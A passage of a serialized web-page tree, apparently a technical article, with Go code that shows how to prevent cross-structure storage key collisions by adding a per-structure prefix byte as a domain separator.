positionNameEncoded",{"type":23,"tag":481,"props":84296,"children":84297},{"style":525},[84298],{"type":28,"value":1033},{"type":23,"tag":481,"props":84300,"children":84301},{"class":483,"line":6591},[84302],{"type":23,"tag":481,"props":84303,"children":84304},{"style":525},[84305],{"type":28,"value":21429},{"type":23,"tag":481,"props":84307,"children":84308},{"class":483,"line":6697},[84309],{"type":23,"tag":481,"props":84310,"children":84311},{"style":525},[84312],{"type":28,"value":1443},{"type":23,"tag":481,"props":84314,"children":84315},{"class":483,"line":21008},[84316],{"type":23,"tag":481,"props":84317,"children":84318},{"emptyLinePlaceholder":15},[84319],{"type":28,"value":1210},{"type":23,"tag":481,"props":84321,"children":84322},{"class":483,"line":21043},[84323],{"type":23,"tag":481,"props":84324,"children":84325},{"emptyLinePlaceholder":15},[84326],{"type":28,"value":1210},{"type":23,"tag":481,"props":84328,"children":84329},{"class":483,"line":21051},[84330,84334,84339],{"type":23,"tag":481,"props":84331,"children":84332},{"style":497},[84333],{"type":28,"value":73832},{"type":23,"tag":481,"props":84335,"children":84336},{"style":610},[84337],{"type":28,"value":84338}," AddressMapKey",{"type":23,"tag":481,"props":84340,"children":84341},{"style":525},[84342],{"type":28,"value":988},{"type":23,"tag":481,"props":84344,"children":84345},{"class":483,"line":21059},[84346,84350,84354],{"type":23,"tag":481,"props":84347,"children":84348},{"style":508},[84349],{"type":28,"value":82779},{"type":23,"tag":481,"props":84351,"children":84352},{"style":943},[84353],{"type":28,"value":73953},{"type":23,"tag":481,"props":84355,"children":84356},{"style":525},[84357],{"type":28,"value":1033},{"type":23,"tag":481,"props":84359,"children":84360},{"class":483,"line":21068},[84361,84365,84369,84374,84378],{"type":23,"tag":481,"props":84362,"children":84363},{"style":508},[84364],{"type":28,"value":82791},{"type":23,"tag":481,"props":84366,"children":84367},{"style":525},[84368],{"type":28,"value":588},{"type":23,"tag":481,"props":84370,"children":84371},{"style":508},[84372],{"type":28,"value":84373},"addressName",{"type":23,"tag":481,"props":84375,"children":84376},{"style":525},[84377],{"type":28,"value":73759},{"type":23,"tag":481,"props":84379,"children":84380},{"style":943},[84381],{"type":28,"value":81760},{"type":23,"tag":481,"props":84383,"children":84384},{"class":483,"line":21110},[84385,84389,84393,84397,84401],{"type":23,"tag":481,"props":84386,"children":84387},{"style":525},[84388],{"type":28,"value":73914},{"type":23,"tag":481,"props":84390,"children":84391},{"style":508},[84392],{"type":28,"value":69686},{"type":23,"tag":481,"props":84394,"children":84395},{"style":525},[84396],{"type":28,"value":73759},{"type":23,"tag":481,"props":84398,"children":84399},{"style":943},[84400],{"type":28,"value":82297},{"type":23,"tag":481,"props":84402,"children":84403},{"style":525},[84404],{"type":28,"value":12292},{"type":23,"tag":481,"props":84406,"children":84407},{"class":483,"line":21143},[84408,84412,84416,84420],{"type":23,"tag":481,"props":84409,"children":84410},{"style":508},[84411],{"type":28,"value":83393},{"type":23,"tag":481,"props":84413,"children":84414},{"style":514},[84415],{"type":28,"value":73948},{"type":23,"tag":481,"props":84417,"children":84418},{"style":610},[84419],{"type":28,"value":83096},{"type":23,"tag":481,"props":84421,"children":84422},{"style":525},[84423],{"type":28,"value":988},{"type":23,"tag":481,"props":84425,"children":84426},{"class":483,"line":21151},[84427,84431,84435],{"type":23,"tag":481,"props":84428,"children":84429},{"style":525},[84430],{"type":28,"value":83987},{"type":23,"tag":481,"props":84432,"children":84433},{"style":943},[84434],{"type":28,"value":82297},{"type":23,"tag":481,"props":84436,"children":84437},{"style":525},[84438],{"type":28,"value":1033},{"type":23,"tag":481,"props":84440,"children":84441},{"class":483,"line":21159},[84442,84446,84450,84454,84458,84462,84466,84470],{"type":23,"tag":481,"props":84443,"children":84444},{"style":508},[84445],{"type":28,"value":84003},{"type":23,"tag":481,"props":84447,"children":84448},{"style":525},[84449],{"type":28,"value":199},{"type":23,"tag":481,"props":84451,"children":84452},{"style":610},[84453],{"type":28,"value":83133},{"type":23,"tag":481,"props":84455,"children":84456},{"style":525},[84457],{"type":28,"value":618},{"type":23,"tag":481,"props":84459,"children":84460},{"style":610},[84461],{"type":28,"value":6621},{"type":23,"tag":481,"props":84463,"children":84464},{"style":525},[84465],{"type":28,"value":618},{"type":23,"tag":481,"props":84467,"children":84468},{"style":508},[84469],{"type":28,"value":83003},{"type":23,"tag":481,"props":84471,"children":84472},{"style":525},[84473],{"type":28,"value":83154},{"type":23,"tag":481,"props":84475,"children":84476},{"class":483,"line":21168},[84477],{"type":23,"tag":481,"props":84478,"children":84479},{"style":525},[84480],{"type":28,"value":21429},{"type":23,"tag":481,"props":84482,"children":84483},{"class":483,"line":21244},[84484,84488,84492,84496,84500,84504,84508,84512],{"type":23,"tag":481,"props":84485,"children":84486},{"style":508},[84487],{"type":28,"value":83124},{"type":23,"tag":481,"props":84489,"children":84490},{"style":525},[84491],{"type":28,"value":199},{"type":23,"tag":481,"props":84493,"children":84494},{"style":610},[84495],{"type":28,"value":83178},{"type":23,"tag":481,"props":84497,"children":84498},{"style":525},[84499],{"type":28,"value":618},{"type":23,"tag":481,"props":84501,"children":84502},{"style":508},[84503],{"type":28,"value":83087},{"type":23,"tag":481,"props":84505,"children":84506},{"style":525},[84507],{"type":28,"value":588},{"type":23,"tag":481,"props":84509,"children":84510},{"style":508},[84511],{"type":28,"value":83003},{"type":23,"tag":481,"props":84513,"children":84514},{"style":525},[84515],{"type":28,"value":675},{"type":23,"tag":481,"props":84517,"children":84518},{"class":483,"line":21277},[84519],{"type":23,"tag":481,"props":84520,"children":84521},{"emptyLinePlaceholder":15},[84522],{"type":28,"value":1210},{"type":23,"tag":481,"props":84524,"children":84525},{"class":483,"line":21285},[84526,84531,84535,84539],{"type":23,"tag":481,"props":84527,"children":84528},{"style":508},[84529],{"type":28,"value":84530}," addressNameEncoded",{"type":23,"tag":481,"props":84532,"children":84533},{"style":514},[84534],{"type":28,"value":73948},{"type":23,"tag":481,"props":84536,"children":84537},{"style":610},[84538],{"type":28,"value":83096},{"type":23,"tag":481,"props":84540,"children":84541},{"style":525},[84542],{"type":28,"value":988},{"type":23,"tag":481,"props":84544,"children":84545},{"class":483,"line":21293},[84546,84550,84554],{"type":23,"tag":481,"props":84547,"children":84548},{"style":525},[84549],{"type":28,"value":83987},{"type":23,"tag":481,"props":84551,"children":84552},{"style":943},[84553],{"type":28,"value":82297},{"type":23,"tag":481,"props":84555,"children":84556},{"style":525},[84557],{"type":28,"value":1033},{"type":23,"tag":481,"props":84559,"children":84560},{"class":483,"line":21330},[84561,84565,84569,84573,84577,84581,84585,84589],{"type":23,"tag":481,"props":84562,"children":84563},{"style":508},[84564],{"type":28,"value":84003},{"type":23,"tag":481,"props":84566,"children":84567},{"style":525},[84568],{"type":28,"value":199},{"type":23,"tag":481,"props":84570,"children":84571},{"style":610},[84572],{"type":28,"value":83133},{"type":23,"tag":481,"props":84574,"children":84575},{"style":525},[84576],{"type":28,"value":618},{"type":23,"tag":481,"props":84578,"children":84579},{"style":610},[84580],{"type":28,"value":6621},{"type":23,"tag":481,"props":84582,"children":84583},{"style":525},[84584],{"type":28,"value":618},{"type":23,"tag":481,"props":84586,"children":84587},{"style":508},[84588],{"type":28,"value":84373},{"type":23,"tag":481,"props":84590,"children":84591},{"style":525},[84592],{"type":28,"value":83154},{"type":23,"tag":481,"props":84594,"children":84595},{"class":483,"line":21343},[84596],{"type":23,"tag":481,"props":84597,"children":84598},{"style":525},[84599],{"type":28,"value":21429},{"type":23,"tag":481,"props":84601,"children":84602},{"class":483,"line":21356},[84603,84607,84611,84615,84619,84624,84628,84632],{"type":23,"tag":481,"props":84604,"children":84605},{"style":508},[84606],{"type":28,"value":83124},{"type":23,"tag":481,"props":84608,"children":84609},{"style":525},[84610],{"type":28,"value":199},{"type":23,"tag":481,"props":84612,"children":84613},{"style":610},[84614],{"type":28,"value":83178},{"type":23,"tag":481,"props":84616,"children":84617},{"style":525},[84618],{"type":28,"value":618},{"type":23,"tag":481,"props":84620,"children":84621},{"style":508},[84622],{"type":28,"value":84623},"addressNameEncoded",{"type":23,"tag":481,"props":84625,"children":84626},{"style":525},[84627],{"type":28,"value":588},{"type":23,"tag":481,"props":84629,"children":84630},{"style":508},[84631],{"type":28,"value":84373},{"type":23,"tag":481,"props":84633,"children":84634},{"style":525},[84635],{"type":28,"value":675},{"type":23,"tag":481,"props":84637,"children":84638},{"class":483,"line":21369},[84639],{"type":23,"tag":481,"props":84640,"children":84641},{"emptyLinePlaceholder":15},[84642],{"type":28,"value":1210},{"type":23,"tag":481,"props":84644,"children":84645},{"class":483,"line":21423},[84646,84650,84654,84658,84662,84666],{"type":23,"tag":481,"props":84647,"children":84648},{"style":508},[84649],{"type":28,"value":84207},{"type":23,"tag":481,"props":84651,"children":84652},{"style":514},[84653],{"type":28,"value":73948},{"type":23,"tag":481,"props":84655,"children":84656},{"style":508},[84657],{"type":28,"value":79766},{"type":23,"tag":481,"props":84659,"children":84660},{"style":525},[84661],{"type":28,"value":199},{"type":23,"tag":481,"props":84663,"children":84664},{"style":610},[84665],{"type":28,"value":82755},{"type":23,"tag":481,"props":84667,"children":84668},{"style":525},[84669],{"type":28,"value":988},{"type":23,"tag":481,"props":84671,"children":84672},{"class":483,"line":21432},[84673,84677],{"type":23,"tag":481,"props":84674,"children":84675},{"style":1805},[84676],{"type":28,"value":84235},{"type":23,"tag":481,"props":84678,"children":84679},{"style":525},[84680],{"type":28,"value":1033},{"type":23,"tag":481,"props":84682,"children":84683},{"class":483,"line":29796},[84684,84688],{"type":23,"tag":481,"props":84685,"children":84686},{"style":508},[84687],{"type":28,"value":84247},{"type":23,"tag":481,"props":84689,"children":84690},{"style":525},[84691],{"type":28,"value":1033},{"type":23,"tag":481,"props":84693,"children":84694},{"class":483,"line":29817},[84695,84699],{"type":23,"tag":481,"props":84696,"children":84697},{"style":508},[84698],{"type":28,"value":84259},{"type":23,"tag":481,"props":84700,"children":84701},{"style":525},[84702],{"type":28,"value":1033},{"type":23,"tag":481,"props":84704,"children":84705},{"class":483,"line":78483},[84706,84710],{"type":23,"tag":481,"props":84707,"children":84708},{"style":508},[84709],{"type":28,"value":84271},{"type":23,"tag":481,"props":84711,"children":84712},{"style":525},[84713],{"type":28,"value":1033},{"type":23,"tag":481,"props":84715,"children":84716},{"class":483,"line":78496},[84717,84721],{"type":23,"tag":481,"props":84718,"children":84719},{"style":508},[84720],{"type":28,"value":84259},{"type":23,"tag":481,"props":84722,"children":84723},{"style":525},[84724],{"type":28,"value":1033},{"type":23,"tag":481,"props":84726,"children":84727},{"class":483,"line":78504},[84728,84733],{"type":23,"tag":481,"props":84729,"children":84730},{"style":508},[84731],{"type":28,"value":84732}," addressNameEncoded",{"type":23,"tag":481,"props":84734,"children":84735},{"style":525},[84736],{"type":28,"value":1033},{"type":23,"tag":481,"props":84738,"children":84739},{"class":483,"line":78512},[84740],{"type":23,"tag":481,"props":84741,"children":84742},{"style":525},[84743],{"type":28,"value":21429},{"type":23,"tag":481,"props":84745,"children":84746},{"class":483,"line":78520},[84747],{"type":23,"tag":481,"props":84748,"children":84749},{"style":525},[84750],{"type":28,"value":1443},{"type":23,"tag":24,"props":84752,"children":84753},{},[84754,84756,84761],{"type":28,"value":84755},"Unfortunately, when dealing with more than one storage entry within the same ",{"type":23,"tag":64,"props":84757,"children":84759},{"className":84758},[],[84760],{"type":28,"value":82509},{"type":28,"value":84762},", the previous implementation is not enough to guarantee key uniqueness. While it still effectively prevents key collisions within each individual structure, it does not prevent cross-structure key collisions.",{"type":23,"tag":435,"props":84764,"children":84766},{"code":84765},"vaultId = 1, username = \"a\", positionName = \"b\"\n => PositionMapKey = \"1|a|b\"\n\nvaultId = 1, username = \"a\", addressName = \"b\"\n => AddressMapKey = \"1|a||b\"\n",[84767],{"type":23,"tag":64,"props":84768,"children":84769},{"__ignoreMap":7},[84770],{"type":28,"value":84765},{"type":23,"tag":24,"props":84772,"children":84773},{},[84774],{"type":28,"value":84775},"To prevent this, add a structure-specific prefix to the start of each key to act as a domain separator.",{"type":23,"tag":435,"props":84777,"children":84779},{"code":84778,"language":73696,"meta":7,"className":73697,"style":7},"const (\n Seperator = \"|\"\n PositionMapPrefix = \"\\x01\"\n AddressMapPrefix = \"\\x02\"\n)\n\n\nfunc PositionMapKey(\n vaultId uint64,\n username, positionName []byte,\n) (key []byte) {\n usernameEncoded := make(\n []byte,\n hex.EncodedLen(len(username)),\n )\n hex.Encode(usernameEncoded, username)\n\n positionNameEncoded := make(\n []byte,\n hex.EncodedLen(len(positionName)),\n )\n hex.Encode(positionNameEncoded, positionName)\n\n key := fmt.Sprintf(\n \"%s%d%s%s%s%s\",\n PositionMapPrefix,\n vaultId,\n Seperator,\n usernameEncoded,\n Seperator,\n positionNameEncoded,\n )\n}\n\n\nfunc AddressMapKey(\n vaultId uint64,\n username, addressName []byte,\n) (key []byte) {\n usernameEncoded := make(\n []byte,\n hex.EncodedLen(len(username)),\n )\n hex.Encode(usernameEncoded, username)\n\n addressNameEncoded := make(\n []byte,\n hex.EncodedLen(len(addressName)),\n )\n hex.Encode(addressNameEncoded, addressName)\n\n key := fmt.Sprintf(\n \"%s%d%s%s%s%s\",\n AddressMapPrefix,\n vaultId,\n Seperator,\n usernameEncoded,\n Seperator,\n addressNameEncoded,\n )\n}\n",[84780],{"type":23,"tag":64,"props":84781,"children":84782},{"__ignoreMap":7},[84783,84794,84809,84836,84861,84868,84875,84882,84897,84912,84939,84962,84981,84996,85031,85038,85073,85080,85099,85114,85149,85156,85191,85198,85225,85237,85249,85260,85271,85282,85293,85304,85311,85318,85325,85332,85347,85362,85389,85412,85431,85446,85481,85488,85523,85530,85549,85564,85599,85606,85641,85648,85675,85686,85698,85709,85720,85731,85742,85753,85761],{"type":23,"tag":481,"props":84784,"children":84785},{"class":483,"line":484},[84786,84790],{"type":23,"tag":481,"props":84787,"children":84788},{"style":497},[84789],{"type":28,"value":7139},{"type":23,"tag":481,"props":84791,"children":84792},{"style":525},[84793],{"type":28,"value":76098},{"type":23,"tag":481,"props":84795,"children":84796},{"class":483,"line":351},[84797,84801,84805],{"type":23,"tag":481,"props":84798,"children":84799},{"style":508},[84800],{"type":28,"value":82863},{"type":23,"tag":481,"props":84802,"children":84803},{"style":514},[84804],{"type":28,"value":517},{"type":23,"tag":481,"props":84806,"children":84807},{"style":1805},[84808],{"type":28,"value":82872},{"type":23,"tag":481,"props":84810,"children":84811},{"class":483,"line":531},[84812,84817,84821,84826,84831],{"type":23,"tag":481,"props":84813,"children":84814},{"style":508},[84815],{"type":28,"value":84816}," PositionMapPrefix",{"type":23,"tag":481,"props":84818,"children":84819},{"style":514},[84820],{"type":28,"value":517},{"type":23,"tag":481,"props":84822,"children":84823},{"style":1805},[84824],{"type":28,"value":84825}," \"",{"type":23,"tag":481,"props":84827,"children":84828},{"style":45898},[84829],{"type":28,"value":84830},"\\x01",{"type":23,"tag":481,"props":84832,"children":84833},{"style":1805},[84834],{"type":28,"value":84835},"\"\n",{"type":23,"tag":481,"props":84837,"children":84838},{"class":483,"line":567},[84839,84844,84848,84852,84857],{"type":23,"tag":481,"props":84840,"children":84841},{"style":508},[84842],{"type":28,"value":84843}," AddressMapPrefix",{"type":23,"tag":481,"props":84845,"children":84846},{"style":514},[84847],{"type":28,"value":517},{"type":23,"tag":481,"props":84849,"children":84850},{"style":1805},[84851],{"type":28,"value":84825},{"type":23,"tag":481,"props":84853,"children":84854},{"style":45898},[84855],{"type":28,"value":84856},"\\x02",{"type":23,"tag":481,"props":84858,"children":84859},{"style":1805},[84860],{"type":28,"value":84835},{"type":23,"tag":481,"props":84862,"children":84863},{"class":483,"line":678},[84864],{"type":23,"tag":481,"props":84865,"children":84866},{"style":525},[84867],{"type":28,"value":675},{"type":23,"tag":481,"props":84869,"children":84870},{"class":483,"line":784},[84871],{"type":23,"tag":481,"props":84872,"children":84873},{"emptyLinePlaceholder":15},[84874],{"type":28,"value":1210},{"type":23,"tag":481,"props":84876,"children":84877},{"class":483,"line":812},[84878],{"type":23,"tag":481,"props":84879,"children":84880},{"emptyLinePlaceholder":15},[84881],{"type":28,"value":1210},{"type":23,"tag":481,"props":84883,"children":84884},{"class":483,"line":825},[84885,84889,84893],{"type":23,"tag":481,"props":84886,"children":84887},{"style":497},[84888],{"type":28,"value":73832},{"type":23,"tag":481,"props":84890,"children":84891},{"style":610},[84892],{"type":28,"value":83891},{"type":23,"tag":481,"props":84894,"children":84895},{"style":525},[84896],{"type":28,"value":988},{"type":23,"tag":481,"props":84898,"children":84899},{"class":483,"line":843},[84900,84904,84908],{"type":23,"tag":481,"props":84901,"children":84902},{"style":508},[84903],{"type":28,"value":82779},{"type":23,"tag":481,"props":84905,"children":84906},{"style":943},[84907],{"type":28,"value":73953},{"type":23,"tag":481,"props":84909,"children":84910},{"style":525},[84911],{"type":28,"value":1033},{"type":23,"tag":481,"props":84913,"children":84914},{"class":483,"line":864},[84915,84919,84923,84927,84931,84935],{"type":23,"tag":481,"props":84916,"children":84917},{"style":508},[84918],{"type":28,"value":82791},{"type":23,"tag":481,"props":84920,"children":84921},{"style":525},[84922],{"type":28,"value":588},{"type":23,"tag":481,"props":84924,"children":84925},{"style":508},[84926],{"type":28,"value":83272},{"type":23,"tag":481,"props":84928,"children":84929},{"style":525},[84930],{"type":28,"value":73759},{"type":23,"tag":481,"props":84932,"children":84933},{"style":943},[84934],{"type":28,"value":82297},{"type":23,"tag":481,"props":84936,"children":84937},{"style":525},[84938],{"type":28,"value":1033},{"type":23,"tag":481,"props":84940,"children":84941},{"class":483,"line":873},[84942,84946,84950,84954,84958],{"type":23,"tag":481,"props":84943,"children":84944},{"style":525},[84945],{"type":28,"value":73914},{"type":23,"tag":481,"props":84947,"children":84948},{"style":508},[84949],{"type":28,"value":69686},{"type":23,"tag":481,"props":84951,"children":84952},{"style":525},[84953],{"type":28,"value":73759},{"type":23,"tag":481,"props":84955,"children":84956},{"style":943},[84957],{"type":28,"value":82297},{"type":23,"tag":481,"props":84959,"children":84960},{"style":525},[84961],{"type":28,"value":12292},{"type":23,"tag":481,"props":84963,"children":84964},{"class":483,"line":1125},[84965,84969,84973,84977],{"type":23,"tag":481,"props":84966,"children":84967},{"style":508},[84968],{"type":28,"value":83393},{"type":23,"tag":481,"props":84970,"children":84971},{"style":514},[84972],{"type":28,"value":73948},{"type":23,"tag":481,"props":84974,"children":84975},{"style":610},[84976],{"type":28,"value":83096},{"type":23,"tag":481,"props":84978,"children":84979},{"style":525},[84980],{"type":28,"value":988},{"type":23,"tag":481,"props":84982,"children":84983},{"class":483,"line":1142},[84984,84988,84992],{"type":23,"tag":481,"props":84985,"children":84986},{"style":525},[84987],{"type":28,"value":83987},{"type":23,"tag":481,"props":84989,"children":84990},{"style":943},[84991],{"type":28,"value":82297},{"type":23,"tag":481,"props":84993,"children":84994},{"style":525},[84995],{"type":28,"value":1033},{"type":23,"tag":481,"props":84997,"children":84998},{"class":483,"line":1159},[84999,85003,85007,85011,85015,85019,85023,85027],{"type":23,"tag":481,"props":85000,"children":85001},{"style":508},[85002],{"type":28,"value":84003},{"type":23,"tag":481,"props":85004,"children":85005},{"style":525},[85006],{"type":28,"value":199},{"type":23,"tag":481,"props":85008,"children":85009},{"style":610},[85010],{"type":28,"value":83133},{"type":23,"tag":481,"props":85012,"children":85013},{"style":525},[85014],{"type":28,"value":618},{"type":23,"tag":481,"props":85016,"children":85017},{"style":610},[85018],{"type":28,"value":6621},{"type":23,"tag":481,"props":85020,"children":85021},{"style":525},[85022],{"type":28,"value":618},{"type":23,"tag":481,"props":85024,"children":85025},{"style":508},[85026],{"type":28,"value":83003},{"type":23,"tag":481,"props":85028,"children":85029},{"style":525},[85030],{"type":28,"value":83154},{"type":23,"tag":481,"props":85032,"children":85033},{"class":483,"line":1172},[85034],{"type":23,"tag":481,"props":85035,"children":85036},{"style":525},[85037],{"type":28,"value":21429},{"type":23,"tag":481,"props":85039,"children":85040},{"class":483,"line":1181},[85041,85045,85049,85053,85057,85061,85065,85069],{"type":23,"tag":481,"props":85042,"children":85043},{"style":508},[85044],{"type":28,"value":83124},{"type":23,"tag":481,"props":85046,"children":85047},{"style":525},[85048],{"type":28,"value":199},{"type":23,"tag":481,"props":85050,"children":85051},{"style":610},[85052],{"type":28,"value":83178},{"type":23,"tag":481,"props":85054,"children":85055},{"style":525},[85056],{"type":28,"value":618},{"type":23,"tag":481,"props":85058,"children":85059},{"style":508},[85060],{"type":28,"value":83087},{"type":23,"tag":481,"props":85062,"children":85063},{"style":525},[85064],{"type":28,"value":588},{"type":23,"tag":481,"props":85066,"children":85067},{"style":508},[85068],{"type":28,"value":83003},{"type":23,"tag":481,"props":85070,"children":85071},{"style":525},[85072],{"type":28,"value":675},{"type":23,"tag":481,"props":85074,"children":85075},{"class":483,"line":1204},[85076],{"type":23,"tag":481,"props":85077,"children":85078},{"emptyLinePlaceholder":15},[85079],{"type":28,"value":1210},{"type":23,"tag":481,"props":85081,"children":85082},{"class":483,"line":1213},[85083,85087,85091,85095],{"type":23,"tag":481,"props":85084,"children":85085},{"style":508},[85086],{"type":28,"value":84088},{"type":23,"tag":481,"props":85088,"children":85089},{"style":514},[85090],{"type":28,"value":73948},{"type":23,"tag":481,"props":85092,"children":85093},{"style":610},[85094],{"type":28,"value":83096},{"type":23,"tag":481,"props":85096,"children":85097},{"style":525},[85098],{"type":28,"value":988},{"type":23,"tag":481,"props":85100,"children":85101},{"class":483,"line":1222},[85102,85106,85110],{"type":23,"tag":481,"props":85103,"children":85104},{"style":525},[85105],{"type":28,"value":83987},{"type":23,"tag":481,"props":85107,"children":85108},{"style":943},[85109],{"type":28,"value":82297},{"type":23,"tag":481,"props":85111,"children":85112},{"style":525},[85113],{"type":28,"value":1033},{"type":23,"tag":481,"props":85115,"children":85116},{"class":483,"line":1291},[85117,85121,85125,85129,85133,85137,85141,85145],{"type":23,"tag":481,"props":85118,"children":85119},{"style":508},[85120],{"type":28,"value":84003},{"type":23,"tag":481,"props":85122,"children":85123},{"style":525},[85124],{"type":28,"value":199},{"type":23,"tag":481,"props":85126,"children":85127},{"style":610},[85128],{"type":28,"value":83133},{"type":23,"tag":481,"props":85130,"children":85131},{"style":525},[85132],{"type":28,"value":618},{"type":23,"tag":481,"props":85134,"children":85135},{"style":610},[85136],{"type":28,"value":6621},{"type":23,"tag":481,"props":85138,"children":85139},{"style":525},[85140],{"type":28,"value":618},{"type":23,"tag":481,"props":85142,"children":85143},{"style":508},[85144],{"type":28,"value":83272},{"type":23,"tag":481,"props":85146,"children":85147},{"style":525},[85148],{"type":28,"value":83154},{"type":23,"tag":481,"props":85150,"children":85151},{"class":483,"line":1299},[85152],{"type":23,"tag":481,"props":85153,"children":85154},{"style":525},[85155],{"type":28,"value":21429},{"type":23,"tag":481,"props":85157,"children":85158},{"class":483,"line":1329},[85159,85163,85167,85171,85175,85179,85183,85187],{"type":23,"tag":481,"props":85160,"children":85161},{"style":508},[85162],{"type":28,"value":83124},{"type":23,"tag":481,"props":85164,"children":85165},{"style":525},[85166],{"type":28,"value":199},{"type":23,"tag":481,"props":85168,"children":85169},{"style":610},[85170],{"type":28,"value":83178},{"type":23,"tag":481,"props":85172,"children":85173},{"style":525},[85174],{"type":28,"value":618},{"type":23,"tag":481,"props":85176,"children":85177},{"style":508},[85178],{"type":28,"value":83213},{"type":23,"tag":481,"props":85180,"children":85181},{"style":525},[85182],{"type":28,"value":588},{"type":23,"tag":481,"props":85184,"children":85185},{"style":508},[85186],{"type":28,"value":83272},{"type":23,"tag":481,"props":85188,"children":85189},{"style":525},[85190],{"type":28,"value":675},{"type":23,"tag":481,"props":85192,"children":85193},{"class":483,"line":1337},[85194],{"type":23,"tag":481,"props":85195,"children":85196},{"emptyLinePlaceholder":15},[85197],{"type":28,"value":1210},{"type":23,"tag":481,"props":85199,"children":85200},{"class":483,"line":1369},[85201,85205,85209,85213,85217,85221],{"type":23,"tag":481,"props":85202,"children":85203},{"style":508},[85204],{"type":28,"value":84207},{"type":23,"tag":481,"props":85206,"children":85207},{"style":514},[85208],{"type":28,"value":73948},{"type":23,"tag":481,"props":85210,"children":85211},{"style":508},[85212],{"type":28,"value":79766},{"type":23,"tag":481,"props":85214,"children":85215},{"style":525},[85216],{"type":28,"value":199},{"type":23,"tag":481,"props":85218,"children":85219},{"style":610},[85220],{"type":28,"value":82755},{"type":23,"tag":481,"props":85222,"children":85223},{"style":525},[85224],{"type":28,"value":988},{"type":23,"tag":481,"props":85226,"children":85227},{"class":483,"line":1377},[85228,85233],{"type":23,"tag":481,"props":85229,"children":85230},{"style":1805},[85231],{"type":28,"value":85232}," \"%s%d%s%s%s%s\"",{"type":23,"tag":481,"props":85234,"children":85235},{"style":525},[85236],{"type":28,"value":1033},{"type":23,"tag":481,"props":85238,"children":85239},{"class":483,"line":1437},[85240,85245],{"type":23,"tag":481,"props":85241,"children":85242},{"style":508},[85243],{"type":28,"value":85244}," PositionMapPrefix",{"type":23,"tag":481,"props":85246,"children":85247},{"style":525},[85248],{"type":28,"value":1033},{"type":23,"tag":481,"props":85250,"children":85251},{"class":483,"line":6528},[85252,85256],{"type":23,"tag":481,"props":85253,"children":85254},{"style":508},[85255],{"type":28,"value":84247},{"type":23,"tag":481,"props":85257,"children":85258},{"style":525},[85259],{"type":28,"value":1033},{"type":23,"tag":481,"props":85261,"children":85262},{"class":483,"line":6546},[85263,85267],{"type":23,"tag":481,"props":85264,"children":85265},{"style":508},[85266],{"type":28,"value":84259},{"type":23,"tag":481,"props":85268,"children":85269},{"style":525},[85270],{"type":28,"value":1033},{"type":23,"tag":481,"props":85272,"children":85273},{"class":483,"line":6591},[85274,85278],{"type":23,"tag":481,"props":85275,"children":85276},{"style":508},[85277],{"type":28,"value":84271},{"type":23,"tag":481,"props":85279,"children":85280},{"style":525},[85281],{"type":28,"value":1033},{"type":23,"tag":481,"props":85283,"children":85284},{"class":483,"line":6697},[85285,85289],{"type":23,"tag":481,"props":85286,"children":85287},{"style":508},[85288],{"type":28,"value":84259},{"type":23,"tag":481,"props":85290,"children":85291},{"style":525},[85292],{"type":28,"value":1033},{"type":23,"tag":481,"props":85294,"children":85295},{"class":483,"line":21008},[85296,85300],{"type":23,"tag":481,"props":85297,"children":85298},{"style":508},[85299],{"type":28,"value":84294},{"type":23,"tag":481,"props":85301,"children":85302},{"style":525},[85303],{"type":28,"value":1033},{"type":23,"tag":481,"props":85305,"children":85306},{"class":483,"line":21043},[85307],{"type":23,"tag":481,"props":85308,"children":85309},{"style":525},[85310],{"type":28,"value":21429},{"type":23,"tag":481,"props":85312,"children":85313},{"class":483,"line":21051},[85314],{"type":23,"tag":481,"props":85315,"children":85316},{"style":525},[85317],{"type":28,"value":1443},{"type":23,"tag":481,"props":85319,"children":85320},{"class":483,"line":21059},[85321],{"type":23,"tag":481,"props":85322,"children":85323},{"emptyLinePlaceholder":15},[85324],{"type":28,"value":1210},{"type":23,"tag":481,"props":85326,"children":85327},{"class":483,"line":21068},[85328],{"type":23,"tag":481,"props":85329,"children":85330},{"emptyLinePlaceholder":15},[85331],{"type":28,"value":1210},{"type":23,"tag":481,"props":85333,"children":85334},{"class":483,"line":21110},[85335,85339,85343],{"type":23,"tag":481,"props":85336,"children":85337},{"style":497},[85338],{"type":28,"value":73832},{"type":23,"tag":481,"props":85340,"children":85341},{"style":610},[85342],{"type":28,"value":84338},{"type":23,"tag":481,"props":85344,"children":85345},{"style":525},[85346],{"type":28,"value":988},{"type":23,"tag":481,"props":85348,"children":85349},{"class":483,"line":21143},[85350,85354,85358],{"type":23,"tag":481,"props":85351,"children":85352},{"style":508},[85353],{"type":28,"value":82779},{"type":23,"tag":481,"props":85355,"children":85356},{"style":943},[85357],{"type":28,"value":73953},{"type":23,"tag":481,"props":85359,"children":85360},{"style":525},[85361],{"type":28,"value":1033},{"type":23,"tag":481,"props":85363,"children":85364},{"class":483,"line":21151},[85365,85369,85373,85377,85381,85385],{"type":23,"tag":481,"props":85366,"children":85367},{"style":508},[85368],{"type":28,"value":82791},{"type":23,"tag":481,"props":85370,"children":85371},{"style":525},[85372],{"type":28,"value":588},{"type":23,"tag":481,"props":85374,"children":85375},{"style":508},[85376],{"type":28,"value":84373},{"type":23,"tag":481,"props":85378,"children":85379},{"style":525},[85380],{"type":28,"value":73759},{"type":23,"tag":481,"props":85382,"children":85383},{"style":943},[85384],{"type":28,"value":82297},{"type":23,"tag":481,"props":85386,"children":85387},{"style":525},[85388],{"type":28,"value":1033},{"type":23,"tag":481,"props":85390,"children":85391},{"class":483,"line":21159},[85392,85396,85400,85404,85408],{"type":23,"tag":481,"props":85393,"children":85394},{"style":525},[85395],{"type":28,"value":73914},{"type":23,"tag":481,"props":85397,"children":85398},{"style":508},[85399],{"type":28,"value":69686},{"type":23,"tag":481,"props":85401,"children":85402},{"style":525},[85403],{"type":28,"value":73759},{"type":23,"tag":481,"props":85405,"children":85406},{"style":943},[85407],{"type":28,"value":82297},{"type":23,"tag":481,"props":85409,"children":85410},{"style":525},[85411],{"type":28,"value":12292},{"type":23,"tag":481,"props":85413,"children":85414},{"class":483,"line":21168},[85415,85419,85423,85427],{"type":23,"tag":481,"props":85416,"children":85417},{"style":508},[85418],{"type":28,"value":83393},{"type":23,"tag":481,"props":85420,"children":85421},{"style":514},[85422],{"type":28,"value":73948},{"type":23,"tag":481,"props":85424,"children":85425},{"style":610},[85426],{"type":28,"value":83096},{"type":23,"tag":481,"props":85428,"children":85429},{"style":525},[85430],{"type":28,"value":988},{"type":23,"tag":481,"props":85432,"children":85433},{"class":483,"line":21244},[85434,85438,85442],{"type":23,"tag":481,"props":85435,"children":85436},{"style":525},[85437],{"type":28,"value":83987},{"type":23,"tag":481,"props":85439,"children":85440},{"style":943},[85441